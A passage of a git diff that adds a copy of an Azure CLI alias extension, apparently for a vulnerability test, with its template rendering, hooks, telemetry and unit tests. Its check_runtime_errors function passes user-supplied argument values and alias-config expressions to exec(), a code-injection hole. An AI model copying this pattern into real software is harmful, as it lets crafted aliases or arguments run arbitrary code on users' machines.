normalize_placeholders(cmd_derived_from_alias, inject_quotes=True) + template = jinja.Template(cmd_derived_from_alias) + + # Shlex.split allows us to split a string by spaces while preserving quoted substrings + # (positional arguments in this case) + rendered = shlex.split(template.render(pos_args_table)) + + # Manually check if there is any runtime error (such as index out of range) + # since Jinja template engine only checks for compile time error. + # Only check for runtime errors if there is an empty string in rendered. + if '' in rendered: + check_runtime_errors(cmd_derived_from_alias, pos_args_table) + + return rendered + except Exception as exception: + # Exception raised from runtime error + if isinstance(exception, CLIError): + raise + + # The template has some sort of compile time errors + split_exception_message = str(exception).split() + + # Check if the error message provides the index of the erroneous character + error_index = split_exception_message[-1] + if error_index.isdigit(): + split_exception_message.insert(-1, 'index') + error_msg = RENDER_TEMPLATE_ERROR.format(' '.join(split_exception_message), cmd_derived_from_alias) + + # Calculate where to put an arrow (^) char so that it is exactly below the erroneous character + # e.g. ... "{{a.split('|)}}" + # ^ + error_msg += '\n{}^'.format(' ' * (len(error_msg) - len(cmd_derived_from_alias) + int(error_index) - 1)) + else: + exception_str = str(exception).replace('"{{', '}}').replace('}}"', '}}') + error_msg = RENDER_TEMPLATE_ERROR.format(cmd_derived_from_alias, exception_str) + + raise CLIError(error_msg) + + +def check_runtime_errors(cmd_derived_from_alias, pos_args_table): + """ + Validate placeholders and their expressions in cmd_derived_from_alias to make sure + that there is no runtime error (such as index out of range). + + Args: + cmd_derived_from_alias: The command derived from the alias + (include any positional argument placehodlers) + pos_args_table: The positional argument table. + """ + for placeholder, value in pos_args_table.items(): + exec('{} = "{}"'.format(placeholder, value)) # pylint: disable=exec-used + + expressions = get_placeholders(cmd_derived_from_alias) + for expression in expressions: + try: + exec(expression) # pylint: disable=exec-used + except Exception as exception: # pylint: disable=broad-except + error_msg = PLACEHOLDER_EVAL_ERROR.format(expression, exception) + raise CLIError(error_msg) diff --git a/src/alias_msrc_test/azext_alias/azext_metadata.json b/src/alias_msrc_test/azext_alias/azext_metadata.json new file mode 100644 index 00000000000..c584f869eed --- /dev/null +++ b/src/alias_msrc_test/azext_alias/azext_metadata.json @@ -0,0 +1,4 @@ +{ + "azext.minCliCoreVersion": "2.0.50.dev0", + "azext.isPreview": true +} \ No newline at end of file diff --git a/src/alias_msrc_test/azext_alias/command_tree.py b/src/alias_msrc_test/azext_alias/command_tree.py new file mode 100644 index 00000000000..3c1a3ade54e --- /dev/null +++ b/src/alias_msrc_test/azext_alias/command_tree.py @@ -0,0 +1,68 @@ +# -------------------------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for license information. +# -------------------------------------------------------------------------------------------- + + +class CommandTree(object): + """ a command tree """ + def __init__(self, data, children=None): + self.data = data + if not children: + self.children = {} + else: + self.children = children + + def get_child(self, child_name): # pylint: disable=no-self-use + """ returns the object with the name supplied """ + child = self.children.get(child_name, None) + if child: + return child + raise ValueError("Value {} not in this tree".format(child_name)) + + def add_child(self, child): + """ adds a child to this branch """ + # TODO allow adding child_name + self.children[child.data] = child + + def has_child(self, name): + """ whether this has a child """ + return self.children.get(name, None) is not None + + def in_tree(self, cmd_args): + """ if a command is in the tree """ + if not cmd_args: + return True + tree = self + try: + for datum in cmd_args: + tree = tree.get_child(datum) + except ValueError: + return False + return True + + def get_sub_tree(self, cmd_args): + current_command = [] + leftover_args = [] + + tree = self + for arg in cmd_args: + if tree.has_child(arg): + current_command.append(arg) + tree = tree.get_child(arg) + else: + leftover_args.append(arg) + return tree, ' '.join(current_command), leftover_args + + +class CommandHead(CommandTree): + """ represents the head of the tree, no data""" + + def __init__(self, children=None): + CommandTree.__init__(self, None, children=children) + + +class CommandBranch(CommandTree): + """ represents a branch of the tree """ + def __init__(self, data, children=None): + CommandTree.__init__(self, data, children=children) diff --git a/src/alias_msrc_test/azext_alias/custom.py b/src/alias_msrc_test/azext_alias/custom.py new file mode 100644 index 00000000000..15124fc5360 --- /dev/null +++ b/src/alias_msrc_test/azext_alias/custom.py @@ -0,0 +1,140 @@ +# -------------------------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for license information. +# -------------------------------------------------------------------------------------------- + +import os +import hashlib + +from knack.util import CLIError +from knack.log import get_logger + +from azext_alias._const import ALIAS_NOT_FOUND_ERROR, POST_EXPORT_ALIAS_MSG, ALIAS_FILE_NAME +from azext_alias.alias import GLOBAL_ALIAS_PATH, AliasManager +from azext_alias.util import ( + get_alias_table, + is_url, + build_tab_completion_table, + get_config_parser, + retrieve_file_from_url +) + +logger = get_logger(__name__) + + +def create_alias(alias_name, alias_command): + """ + Create an alias. + + Args: + alias_name: The name of the alias. + alias_command: The command that the alias points to. + """ + alias_name, alias_command = alias_name.strip(), alias_command.strip() + alias_table = get_alias_table() + if alias_name not in alias_table.sections(): + alias_table.add_section(alias_name) + + alias_table.set(alias_name, 'command', alias_command) + _commit_change(alias_table) + + +def export_aliases(export_path=None, exclusions=None): + """ + Export all registered aliases to a given path, as an INI configuration file. + + Args: + export_path: The path of the alias configuration file to export to. + exclusions: Space-separated aliases excluded from export. + """ + if not export_path: + export_path = os.path.abspath(ALIAS_FILE_NAME) + + alias_table = get_alias_table() + for exclusion in exclusions or []: + if exclusion not in alias_table.sections(): + raise CLIError(ALIAS_NOT_FOUND_ERROR.format(exclusion)) + alias_table.remove_section(exclusion) + + _commit_change(alias_table, export_path=export_path, post_commit=False) + logger.warning(POST_EXPORT_ALIAS_MSG, export_path) # pylint: disable=superfluous-parens + + +def import_aliases(alias_source): + """ + Import aliases from a file or an URL. + + Args: + alias_source: The source of the alias. It can be a filepath or an URL. + """ + alias_table = get_alias_table() + if is_url(alias_source): + alias_source = retrieve_file_from_url(alias_source) + alias_table.read(alias_source) + os.remove(alias_source) + else: + alias_table.read(alias_source) + _commit_change(alias_table) + + +def list_alias(): + """ + List all registered aliases. + + Returns: + An array of dictionary containing the alias and the command that it points to. + """ + alias_table = get_alias_table() + output = [] + for alias in alias_table.sections(): + if alias_table.has_option(alias, 'command'): + output.append({ + 'alias': alias, + # Remove unnecessary whitespaces + 'command': ' '.join(alias_table.get(alias, 'command').split()) + }) + + return output + + +def remove_alias(alias_names): + """ + Remove an alias. + + Args: + alias_name: The name of the alias to be removed. + """ + alias_table = get_alias_table() + for alias_name in alias_names: + if alias_name not in alias_table.sections(): + raise CLIError(ALIAS_NOT_FOUND_ERROR.format(alias_name)) + alias_table.remove_section(alias_name) + _commit_change(alias_table) + + +def remove_all_aliases(): + """ + Remove all registered aliases. + """ + _commit_change(get_config_parser()) + + +def _commit_change(alias_table, export_path=None, post_commit=True): + """ + Record changes to the alias table. + Also write new alias config hash and collided alias, if any. + + Args: + alias_table: The alias table to commit. + export_path: The path to export the aliases to. Default: GLOBAL_ALIAS_PATH. + post_commit: True if we want to perform some extra actions after writing alias to file. + """ + with open(export_path or GLOBAL_ALIAS_PATH, 'w+') as alias_config_file: + alias_table.write(alias_config_file) + if post_commit: + alias_config_file.seek(0) + alias_config_hash = hashlib.sha1(alias_config_file.read().encode('utf-8')).hexdigest() + AliasManager.write_alias_config_hash(alias_config_hash) + collided_alias = AliasManager.build_collision_table(alias_table.sections()) + AliasManager.write_collided_alias(collided_alias) + build_tab_completion_table(alias_table) diff --git a/src/alias_msrc_test/azext_alias/hooks.py b/src/alias_msrc_test/azext_alias/hooks.py new file mode 100644 index 00000000000..46154cc3b02 --- /dev/null +++ b/src/alias_msrc_test/azext_alias/hooks.py @@ -0,0 +1,143 @@ +# -------------------------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for license information. +# -------------------------------------------------------------------------------------------- + +import json +import timeit + +from knack.log import get_logger + +from azext_alias import telemetry +from azext_alias.alias import AliasManager +from azext_alias.util import ( + is_alias_command, + cache_reserved_commands, + get_alias_table, + filter_aliases +) +from azext_alias._const import DEBUG_MSG_WITH_TIMING, GLOBAL_ALIAS_TAB_COMP_TABLE_PATH +from azext_alias.command_tree import CommandBranch + +logger = get_logger(__name__) + + +def alias_event_handler(_, **kwargs): + """ + An event handler for alias transformation when EVENT_INVOKER_PRE_TRUNCATE_CMD_TBL event is invoked. + """ + try: + telemetry.start() + + start_time = timeit.default_timer() + args = kwargs.get('args') + alias_manager = AliasManager(**kwargs) + + # [:] will keep the reference of the original args + args[:] = alias_manager.transform(args) + + if is_alias_command(['create', 'import'], args): + load_cmd_tbl_func = kwargs.get('load_cmd_tbl_func', lambda _: {}) + cache_reserved_commands(load_cmd_tbl_func) + + elapsed_time = (timeit.default_timer() - start_time) * 1000 + logger.debug(DEBUG_MSG_WITH_TIMING, args, elapsed_time) + + telemetry.set_execution_time(round(elapsed_time, 2)) + except Exception as client_exception: # pylint: disable=broad-except + telemetry.set_exception(client_exception) + raise + finally: + telemetry.conclude() + + +def enable_aliases_autocomplete(_, **kwargs): + """ + Enable aliases autocomplete by injecting aliases into Azure CLI tab completion list. + """ + external_completions = kwargs.get('external_completions', []) + prefix = kwargs.get('cword_prefix', []) + cur_commands = kwargs.get('comp_words', []) + alias_table = get_alias_table() + # Transform aliases if they are in current commands, + # so parser can get the correct subparser when chaining aliases + _transform_cur_commands(cur_commands, alias_table=alias_table) + + for alias, alias_command in filter_aliases(alias_table): + if alias.startswith(prefix) and alias.strip() != prefix and _is_autocomplete_valid(cur_commands, alias_command): + # Only autocomplete the first word because alias is space-delimited + external_completions.append(alias) + + # Append spaces if necessary (https://github.com/kislyuk/argcomplete/blob/master/argcomplete/__init__.py#L552-L559) + prequote = kwargs.get('cword_prequote', '') + continuation_chars = "=/:" + if len(external_completions) == 1 and external_completions[0][-1] not in continuation_chars and not prequote: + external_completions[0] += ' ' + + +def transform_cur_commands_interactive(_, **kwargs): + """ + Transform any aliases in current commands in interactive into their respective commands. + """ + event_payload = kwargs.get('event_payload', {}) + # text_split = current commands typed in the interactive shell without any unfinished word + # text = current commands typed in the interactive shell + cur_commands = event_payload.get('text', '').split(' ') + _transform_cur_commands(cur_commands) + + event_payload.update({ + 'text': ' '.join(cur_commands) + }) + + +def enable_aliases_autocomplete_interactive(_, **kwargs): + """ + Enable aliases autocomplete on interactive mode by injecting aliases in the command tree. + """ + subtree = kwargs.get('subtree', None) + if not subtree or not hasattr(subtree, 'children'): + return + + for alias, alias_command in filter_aliases(get_alias_table()): + # Only autocomplete the first word because alias is space-delimited + if subtree.in_tree(alias_command.split()): + subtree.add_child(CommandBranch(alias)) + + +def _is_autocomplete_valid(cur_commands, alias_command): + """ + Determine whether autocomplete can be performed at the current state. + + Args: + parser: The current CLI parser. + cur_commands: The current commands typed in the console. + alias_command: The alias command. + + Returns: + True if autocomplete can be performed. + """ + parent_command = ' '.join(cur_commands[1:]) + with open(GLOBAL_ALIAS_TAB_COMP_TABLE_PATH, 'r') as tab_completion_table_file: + try: + tab_completion_table = json.loads(tab_completion_table_file.read()) + return alias_command in tab_completion_table and parent_command in tab_completion_table[alias_command] + except Exception: # pylint: disable=broad-except + return False + + +def _transform_cur_commands(cur_commands, alias_table=None): + """ + Transform any aliases in cur_commands into their respective commands. + + Args: + alias_table: The alias table. + cur_commands: current commands typed in the console. + """ + transformed = [] + alias_table = alias_table if alias_table else get_alias_table() + for cmd in cur_commands: + if cmd in alias_table.sections() and alias_table.has_option(cmd, 'command'): + transformed += alias_table.get(cmd, 'command').split() + else: + transformed.append(cmd) + cur_commands[:] = transformed diff --git a/src/alias_msrc_test/azext_alias/telemetry.py b/src/alias_msrc_test/azext_alias/telemetry.py new file mode 100644 index 00000000000..619d15a635c --- /dev/null +++ b/src/alias_msrc_test/azext_alias/telemetry.py @@ -0,0 +1,174 @@ +# -------------------------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for license information. +# -------------------------------------------------------------------------------------------- + +import os +import sys +import datetime +import traceback + +from knack.log import get_logger + +import azure.cli.core.decorators as decorators +from azure.cli.core import telemetry as telemetry_core +from azure.cli.core._environment import get_config_dir +from azext_alias.version import VERSION + +EXTENSION_NAME = 'alias' +ALIAS_EXTENSION_PREFIX = 'Context.Default.Extension.Alias.' + +logger = get_logger(__name__) + + +# pylint: disable=too-many-instance-attributes +class AliasExtensionTelemetrySession(object): + + def __init__(self): + self.start_time = None + self.end_time = None + self.exceptions = [] + # Only show collided aliases when self.full_command_table_loaded is true + self.collided_aliases = [] + self.execution_time = None + self.full_command_table_loaded = False + self.aliases_hit = [] + self.number_of_aliases_registered = 0 + + def generate_payload(self): + """ + Generate a list of telemetry events as payload + """ + events = [] + transformation_task = self._get_alias_transformation_properties() + transformation_task.update(self._get_based_properties()) + events.append(transformation_task) + + for exception in self.exceptions: + properties = { + 'Reserved.DataModel.Fault.TypeString': exception.__class__.__name__, + 'Reserved.DataModel.Fault.Exception.Message': self.get_exception_message(exception), + 'Reserved.DataModel.Fault.Exception.StackTrace': _get_stack_trace(), + } + self.set_custom_properties(properties, 'ActionType', 'Exception') + self.set_custom_properties(properties, 'Version', VERSION) + events.append(properties) + + return events + + def _get_alias_transformation_properties(self): + properties = dict() + self.set_custom_properties(properties, 'StartTime', str(self.start_time)) + self.set_custom_properties(properties, 'EndTime', str(self.end_time)) + self.set_custom_properties(properties, 'Version', VERSION) + self.set_custom_properties(properties, 'ExecutionTimeMs', self.execution_time) + self.set_custom_properties(properties, 'FullCommandTableLoaded', str(self.full_command_table_loaded)) + self.set_custom_properties(properties, 'CollidedAliases', ','.join(self.collided_aliases)) + self.set_custom_properties(properties, 'AliasesHit', ','.join(self.aliases_hit)) + self.set_custom_properties(properties, 'NumberOfAliasRegistered', self.number_of_aliases_registered) + self.set_custom_properties(properties, 'ActionType', 'Transformation') + + return properties + + def add_exception(self, exception): + self.exceptions.append(exception) + + def add_alias_hit(self, alias_used): + self.aliases_hit.append(alias_used) + + @classmethod + def set_custom_properties(cls, prop, name, value): + if name and value is not None: + # 512 characters limit for strings + prop['{}{}'.format(ALIAS_EXTENSION_PREFIX, name)] = value[:512] if isinstance(value, str) else value + + @classmethod + def get_exception_message(cls, exception): + exception_message = str(exception).replace(get_config_dir(), '.azure') + return _remove_cmd_chars(_remove_symbols(exception_message)) + + @classmethod + def _get_based_properties(cls): + return { + 'Reserved.ChannelUsed': 'AI' + } + + +_session = AliasExtensionTelemetrySession() + + +@decorators.suppress_all_exceptions(raise_in_diagnostics=True) +def start(): + _session.start_time = datetime.datetime.now() + + +@decorators.suppress_all_exceptions(raise_in_diagnostics=True) +def set_execution_time(elapsed_time): + _session.execution_time = elapsed_time + + +@decorators.suppress_all_exceptions(raise_in_diagnostics=True) +def set_full_command_table_loaded(): + _session.full_command_table_loaded = True + + +@decorators.suppress_all_exceptions(raise_in_diagnostics=True) +def set_collided_aliases(collided_aliases): + _session.collided_aliases = collided_aliases + + +@decorators.suppress_all_exceptions(raise_in_diagnostics=True) +def set_exception(exception): + _session.add_exception(exception) + + +@decorators.suppress_all_exceptions(raise_in_diagnostics=True) +def set_alias_hit(alias_used): + _session.add_alias_hit(alias_used) + + +@decorators.suppress_all_exceptions(raise_in_diagnostics=True) +def set_number_of_aliases_registered(num_aliases): + _session.number_of_aliases_registered = num_aliases + + +@decorators.suppress_all_exceptions(raise_in_diagnostics=True) +def conclude(): + if not _session.aliases_hit and not _session.exceptions: + return + + _session.end_time = datetime.datetime.now() + for properties in _session.generate_payload(): + telemetry_core.add_extension_event(EXTENSION_NAME, properties) + + +@decorators.suppress_all_exceptions(fallback_return='') +def _get_stack_trace(): + def _get_root_path(): + dir_path = os.path.dirname(os.path.realpath(__file__)) + head, tail = os.path.split(dir_path) + while tail and tail != 'azext_alias': + head, tail = os.path.split(head) + return head + + def _remove_root_paths(s): + root = _get_root_path() + frames = [p.replace(root, '') for p in s] + return str(frames) + + _, _, ex_traceback = sys.exc_info() + trace = traceback.format_tb(ex_traceback) + return _remove_cmd_chars(_remove_symbols(_remove_root_paths(trace))) + + +def _remove_cmd_chars(s): + if isinstance(s, str): + return s.replace("'", '_').replace('"', '_').replace('\r\n', ' ').replace('\n', ' ') + return s + + +def _remove_symbols(s): + if isinstance(s, str): + for c in '$%^&|': + s = s.replace(c, '_') + return s diff --git a/src/alias_msrc_test/azext_alias/tests/__init__.py b/src/alias_msrc_test/azext_alias/tests/__init__.py new file mode 100644 index 00000000000..34913fb394d --- /dev/null +++ b/src/alias_msrc_test/azext_alias/tests/__init__.py @@ -0,0 +1,4 @@ +# -------------------------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for license information. +# -------------------------------------------------------------------------------------------- diff --git a/src/alias_msrc_test/azext_alias/tests/_const.py b/src/alias_msrc_test/azext_alias/tests/_const.py new file mode 100644 index 00000000000..6075050cc93 --- /dev/null +++ b/src/alias_msrc_test/azext_alias/tests/_const.py @@ -0,0 +1,88 @@ +# -------------------------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for license information. +# -------------------------------------------------------------------------------------------- + +DEFAULT_MOCK_ALIAS_STRING = ''' +[mn] +command = monitor + +[diag] +command = diagnostic-settings create + +[ac] +command = account + +[ls] +command = list -otable + +[create-grp] +command = group create -n test --tags tag1=$tag1 tag2=$tag2 tag3=$non-existing-env-var + +[create-vm] +command = vm create -g test-group -n test-vm + +[pos-arg-1 {{ 0 }} {{ 1 }}] +command = iot {{ 0 }}test {{ 1 }}test + +[pos-arg-2 {{ 0 }} {{ arg_1 }}] +command = sf {{ 0 }} {{ 0 }} {{ arg_1 }} {{ arg_1 }} + +[pos-arg-json {{ 0 }}] +command = test --json {{ 0 }} + +[cp {{ arg_1 }} {{ arg_2 }}] +command = storage blob copy start-batch --source-uri {{ arg_1 }} --destination-container {{ arg_2 }} + +[ac-ls] +command = ac ls + +[-h] +command = account + +[storage-connect {{ arg_1 }} {{ arg_2 }}] +command = az storage account connection-string -g {{ arg_1 }} -n {{ arg_2 }} -otsv + +[storage-ls {{ arg_1 }}] +command = storage blob list --account-name {{ arg_1.split(".")[0] }} --container-name {{ arg_1.split("/")[1] }} + +[storage-ls-2 {{ arg_1 }}] +command = storage blob list --account-name {{ arg_1.replace('https://', '').split('.')[0] }} --container-name {{ arg_1.replace("https://", "").split("/")[1] }} +''' + +COLLISION_MOCK_ALIAS_STRING = ''' +[account] +command = monitor + +[list-locations] +command = diagnostic-settings create + +[dns] +command = network dns +''' + +DUP_SECTION_MOCK_ALIAS_STRING = ''' +[mn] +command = monitor + +[mn] +command = account +''' + +DUP_OPTION_MOCK_ALIAS_STRING = ''' +[mn] +command = monitor +command = account +''' + +MALFORMED_MOCK_ALIAS_STRING = ''' +[mn] +command = monitor + +aodfgojadofgjaojdfog +''' + +TEST_RESERVED_COMMANDS = ['account list-locations', + 'network dns', + 'storage account create', + 'group delete'] diff --git a/src/alias_msrc_test/azext_alias/tests/test_alias.py b/src/alias_msrc_test/azext_alias/tests/test_alias.py new file mode 100644 index 00000000000..ab03ca3e3d5 --- /dev/null +++ b/src/alias_msrc_test/azext_alias/tests/test_alias.py @@ -0,0 +1,231 @@ +# -------------------------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for license information. +# -------------------------------------------------------------------------------------------- + +# pylint: disable=line-too-long,import-error,no-self-use,deprecated-method,pointless-string-statement,relative-import,no-member,redefined-outer-name,too-many-return-statements,,anomalous-backslash-in-string + +import os +import sys +import shlex +import unittest +from unittest.mock import Mock, patch +from six.moves import configparser + +from knack.util import CLIError + +import azext_alias +from azext_alias.tests._const import (DEFAULT_MOCK_ALIAS_STRING, + COLLISION_MOCK_ALIAS_STRING, + TEST_RESERVED_COMMANDS, + DUP_SECTION_MOCK_ALIAS_STRING, + DUP_OPTION_MOCK_ALIAS_STRING, + MALFORMED_MOCK_ALIAS_STRING) + +# Various test types +TEST_TRANSFORM_ALIAS = 'test_transform_alias' +TEST_TRANSFORM_COLLIDED_ALIAS = 'test_transform_collided_alias' +TEST_TRANSFORM_EMPTY_STRING = 'test_transform_empty_string' +TEST_POST_TRANSFORM_ENV_VAR = 'test_post_transform_env_var' +TEST_INCONSISTENT_PLACEHOLDER_INDEX = 'test_inconsistent_placeholder_index' +TEST_PARSE_ERROR_PYTHON_3 = 'test_parse_error_python_3' +TEST_PARSE_ERROR_PYTHON_2_3 = 'test_parse_error_python_2_3' + +TEST_DATA = { + TEST_TRANSFORM_ALIAS: [ + ('ac', 'account'), + ('ls', 'list -otable'), + ('ac ls', 'account list -otable'), + ('mn diag', 'monitor diagnostic-settings create'), + ('create-vm', 'vm create -g test-group -n test-vm'), + ('ac-ls', 'ac ls'), + ('-n ac', '-n ac'), + ('-h', '-h'), + ('storage-connect test1 test2', 'storage account connection-string -g test1 -n test2 -otsv'), + ('', ''), + ('test --json \'{"test": "arg"}\'', 'test --json \'{"test": "arg"}\''), + ('ac set -s test', 'account set -s test'), + ('vm ls -g test -otable', 'vm list -otable -g test -otable'), + ('cp test1 test2', 'storage blob copy start-batch --source-uri test1 --destination-container test2'), + ('pos-arg-1 test1 test2', 'iot test1test test2test'), + ('pos-arg-2 test1 test2', 'sf test1 test1 test2 test2'), + ('pos-arg-json \'{"test": "arg"}\'', 'test --json \'{"test": "arg"}\''), + ('cp test1 test2 -o tsv', 'storage blob copy start-batch --source-uri test1 --destination-container test2 -o tsv'), + ('create-vm --image ubtuntults --generate-ssh-key --no-wait', 'vm create -g test-group -n test-vm --image ubtuntults --generate-ssh-key --no-wait'), + ('cp mn diag', 'storage blob copy start-batch --source-uri mn --destination-container diag'), + ('storage-ls azurecliprod.blob.core.windows.net/cli-extensions', 'storage blob list --account-name azurecliprod --container-name cli-extensions'), + ('storage-ls-2 https://azurecliprod.blob.core.windows.net/cli-extensions', 'storage blob list --account-name azurecliprod --container-name cli-extensions'), + ('alias create -n mkrgrp -c "group create -n test --tags owner=\\$USER"', 'alias create -n mkrgrp -c "group create -n test --tags owner=\\$USER"') + ], + TEST_TRANSFORM_COLLIDED_ALIAS: [ + ('account list -otable', 'account list -otable'), + ('account list-locations', 'account list-locations'), + ('list-locations', 'diagnostic-settings create'), + ('dns', 'network dns'), + ('network dns', 'network dns') + ], + TEST_TRANSFORM_EMPTY_STRING: [ + ('network vnet update -g test -n test --dns-servers ""', 'network vnet update -g test -n test --dns-servers'), + ('test1 test2 --query ""', 'test1 test2 --query') + ], + TEST_POST_TRANSFORM_ENV_VAR: [ + ('group create -n test --tags tag1=$tag1 tag2=$tag2 tag3=$non-existing-env-var', 'group create -n test --tags tag1=test-env-var-1 tag2=test-env-var-2 tag3=$non-existing-env-var') + ], + TEST_INCONSISTENT_PLACEHOLDER_INDEX: [ + ['cp'], + ['cp', 'test'] + ], + TEST_PARSE_ERROR_PYTHON_3: [ + DUP_SECTION_MOCK_ALIAS_STRING, + DUP_OPTION_MOCK_ALIAS_STRING + ], + TEST_PARSE_ERROR_PYTHON_2_3: [ + MALFORMED_MOCK_ALIAS_STRING, + 'Malformed alias config file string' + ] +} + + +def test_transform_alias(self, test_case): + self.assertAlias(test_case) + + +def test_transform_collided_alias(self, test_case): + alias_manager = self.get_alias_manager(COLLISION_MOCK_ALIAS_STRING) + alias_manager.collided_alias = azext_alias.alias.AliasManager.build_collision_table(alias_manager.alias_table.sections()) + self.assertEqual(shlex.split(test_case[1]), alias_manager.transform(shlex.split(test_case[0]))) + + +def test_transform_empty_string(self, test_case): + alias_manager = self.get_alias_manager() + transformed_args = alias_manager.transform(shlex.split(test_case[0])) + expected_args = shlex.split(test_case[1]) + self.assertEqual(expected_args, transformed_args[:-1]) + self.assertEqual('', transformed_args[-1]) + + +def test_post_transform_env_var(self, test_case): + os.environ['tag1'] = 'test-env-var-1' + os.environ['tag2'] = 'test-env-var-2' + self.assertPostTransform(test_case) + + +def test_inconsistent_placeholder_index(self, test_case): + alias_manager = self.get_alias_manager() + with self.assertRaises(CLIError) as cm: + alias_manager.transform(test_case) + self.assertEqual(str(cm.exception), 'alias: "cp {{ arg_1 }} {{ arg_2 }}" takes exactly 2 positional arguments (%s given)' % str(len(test_case) - 1)) + + +def test_parse_error_python_3(self, test_case): + if sys.version_info.major == 3: + alias_manager = self.get_alias_manager(test_case) + self.assertTrue(alias_manager.parse_error()) + + +def test_parse_error_python_2_3(self, test_case): + alias_manager = self.get_alias_manager(test_case) + self.assertTrue(alias_manager.parse_error()) + + +def generate_test(test_type, test_case): + def test(self): + TEST_FN[test_type](self, test_case) + return test + + +TEST_FN = { + TEST_TRANSFORM_ALIAS: test_transform_alias, + TEST_TRANSFORM_COLLIDED_ALIAS: test_transform_collided_alias, + TEST_TRANSFORM_EMPTY_STRING: test_transform_empty_string, + TEST_POST_TRANSFORM_ENV_VAR: test_post_transform_env_var, + TEST_INCONSISTENT_PLACEHOLDER_INDEX: test_inconsistent_placeholder_index, + TEST_PARSE_ERROR_PYTHON_3: test_parse_error_python_3, + TEST_PARSE_ERROR_PYTHON_2_3: test_parse_error_python_2_3 +} + + +class TestAlias(unittest.TestCase): + + def setUp(self): + azext_alias.alias.AliasManager.write_alias_config_hash = Mock() + azext_alias.alias.AliasManager.write_collided_alias = Mock() + self.patcher = patch('azext_alias.cached_reserved_commands', TEST_RESERVED_COMMANDS) + self.patcher.start() + + def tearDown(self): + self.patcher.stop() + + def test_build_empty_collision_table(self): + alias_manager = self.get_alias_manager(DEFAULT_MOCK_ALIAS_STRING) + test_case = azext_alias.alias.AliasManager.build_collision_table(alias_manager.alias_table.sections()) + self.assertDictEqual(dict(), test_case) + + def test_build_non_empty_collision_table(self): + alias_manager = self.get_alias_manager(COLLISION_MOCK_ALIAS_STRING) + test_case = azext_alias.alias.AliasManager.build_collision_table(alias_manager.alias_table.sections(), levels=2) + self.assertDictEqual({'account': [1, 2], 'dns': [2], 'list-locations': [2]}, test_case) + + def test_non_parse_error(self): + alias_manager = self.get_alias_manager() + self.assertFalse(alias_manager.parse_error()) + + def test_detect_alias_config_change(self): + alias_manager = self.get_alias_manager() + azext_alias.alias.alias_config_str = DEFAULT_MOCK_ALIAS_STRING + self.assertFalse(alias_manager.detect_alias_config_change()) + + alias_manager = self.get_alias_manager() + # Load a new alias file (an empty string in this case) + alias_manager.alias_config_str = '' + self.assertTrue(alias_manager.detect_alias_config_change()) + + """ + Helper functions + """ + def get_alias_manager(self, mock_alias_str=DEFAULT_MOCK_ALIAS_STRING): + alias_manager = MockAliasManager(mock_alias_str=mock_alias_str) + return alias_manager + + def assertAlias(self, value): + """ Assert the alias with the default alias config file """ + alias_manager = self.get_alias_manager() + self.assertEqual(shlex.split(value[1]), alias_manager.transform(shlex.split(value[0]))) + + def assertPostTransform(self, value, mock_alias_str=DEFAULT_MOCK_ALIAS_STRING): + alias_manager = self.get_alias_manager(mock_alias_str=mock_alias_str) + self.assertEqual(shlex.split(value[1]), alias_manager.post_transform(shlex.split(value[0]))) + + +class MockAliasManager(azext_alias.alias.AliasManager): + + def load_alias_table(self): + + self.alias_config_str = self.kwargs.get('mock_alias_str', '') + try: + if sys.version_info.major == 3: + # Python 3.x implementation + self.alias_table.read_string(self.alias_config_str) + else: + # Python 2.x implementation + from StringIO import StringIO + self.alias_table.readfp(StringIO(self.alias_config_str)) + except Exception: # pylint: disable=broad-except + self.alias_table = configparser.ConfigParser() + + def load_alias_hash(self): + import hashlib + self.alias_config_hash = hashlib.sha1(self.alias_config_str.encode('utf-8')).hexdigest() + + def load_collided_alias(self): + pass + + +# Inject data-driven tests into TestAlias class +for test_type, test_cases in TEST_DATA.items(): + for test_index, test_case in enumerate(test_cases, 1): + setattr(TestAlias, '{}_{}'.format(test_type, test_index), generate_test(test_type, test_case)) + + +if __name__ == '__main__': + unittest.main() diff --git a/src/alias_msrc_test/azext_alias/tests/test_alias_commands.py b/src/alias_msrc_test/azext_alias/tests/test_alias_commands.py new file mode 100644 index 00000000000..fab826f4375 --- /dev/null +++ b/src/alias_msrc_test/azext_alias/tests/test_alias_commands.py @@ -0,0 +1,312 @@ +# -------------------------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for license information. +# -------------------------------------------------------------------------------------------- + +# pylint: disable=line-too-long,too-many-public-methods + +import os +import shutil +import tempfile +import unittest +from unittest import mock + +from azure.cli.testsdk import ScenarioTest +from azext_alias import alias +from azext_alias._const import ( + ALIAS_FILE_NAME, + ALIAS_HASH_FILE_NAME, + COLLIDED_ALIAS_FILE_NAME, + ALIAS_TAB_COMP_TABLE_FILE_NAME +) + + +class AliasTests(ScenarioTest): + + def setUp(self): + self.mock_config_dir = tempfile.mkdtemp() + self.patchers = [] + self.patchers.append(mock.patch('azext_alias.alias.GLOBAL_CONFIG_DIR', self.mock_config_dir)) + self.patchers.append(mock.patch('azext_alias.alias.GLOBAL_ALIAS_PATH', os.path.join(self.mock_config_dir, ALIAS_FILE_NAME))) + self.patchers.append(mock.patch('azext_alias.alias.GLOBAL_ALIAS_HASH_PATH', os.path.join(self.mock_config_dir, ALIAS_HASH_FILE_NAME))) + self.patchers.append(mock.patch('azext_alias.alias.GLOBAL_COLLIDED_ALIAS_PATH', os.path.join(self.mock_config_dir, COLLIDED_ALIAS_FILE_NAME))) + self.patchers.append(mock.patch('azext_alias.util.GLOBAL_ALIAS_TAB_COMP_TABLE_PATH', os.path.join(self.mock_config_dir, ALIAS_TAB_COMP_TABLE_FILE_NAME))) + self.patchers.append(mock.patch('azext_alias.custom.GLOBAL_ALIAS_PATH', os.path.join(self.mock_config_dir, ALIAS_FILE_NAME))) + os.makedirs(os.path.join(self.mock_config_dir, 'export')) + for patcher in 